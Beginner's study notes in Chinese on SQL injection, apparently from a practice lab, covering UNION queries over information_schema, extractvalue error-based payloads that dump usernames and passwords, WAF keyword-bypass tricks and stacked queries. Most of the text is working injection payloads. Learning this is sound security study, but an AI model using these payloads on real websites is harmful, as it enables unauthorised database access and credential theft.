作为刚入门时,初步接触 SQL 所作的笔记
# SQL 注入
# 1.post&get 注入
修改 username 等信息进行无账号登录或构造语句查询敏感数据。
常用 '
, "
, ')
, ")
与 “and 1=1;and1=2” 与 -- '
进行试探~~(可能有双括号)~~
目的:判断是字符还是整形
之后用 order by 或 union select 判断段数
再子查询
union | |
-- 语句联合查询 | |
(select group_concat(schema_name) from information_schema.schemata) | |
-- 查库 | |
(select group_concat(table_name)from information_schema.tables where table_schema='db') | |
-- 查表 | |
(select group_concat(column_name)from information_schema.columns where table_name='T' and table_schema='db') | |
-- 查字段 | |
(select group_concat(concat(username,' ',password,' ',id)) from security.users) | |
-- 查字段内容 | |
(select concat(username,' ',password,' ',id) from security.users limit 0,1) | |
-- 当显示长度有限制时 | |
-- |
# 2.extractvalue 报错注入
extractvaule 报错注入 | |
and extractvalue(null,concat(0x7e,(select database()),0x7e)) -- ' | |
-- 查数据库 | |
and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=''),0x7e)) -- ' | |
-- 查库的表 | |
and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='' and table_name=''),0x7e)) -- ' | |
-- 查表的字段 | |
and extractvalue(null,concat(0x7e,(select group_concat('','','',',') from db.table),0x7e)) -- ' |
extractvalue(content,path)
这里利用了 path
错误报错获取信息,利用了 concat
与 select
的嵌套
从而使报错内容 concat
得以显示。也就是说错误的是 concat(slect)
报错时报 concat
的错但会回显,从而显示 select
的内容,达到获取信息的目的。
# 3. 绕 warf
/**/ 替空格,unionunion 类似绕关键字屏蔽,selselectect 包括。
base-64,MD5 () 解码。
# 4. 编码
%23 -- # URL 编码
# 5. 盲注
使用 Python 脚本
# 6. 堆叠注入
堆叠注入原理
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query () 支持多条 sql 语句同时执行,就是个;分隔,成堆的执行 sql 语句,例如
select * from users;show databases; |
就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到 API 或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query () 函数就支持多条 sql 语句同时执行,<u> 但实际情况中,如 PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query () 函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限 </u>,一旦能够被使用,将可能对网站造成十分大的威胁。
原文链接:https://blog.csdn.net/qq_45691294/article/details/107376284
# 7. 绕过 select 注入
使用 handler 语法。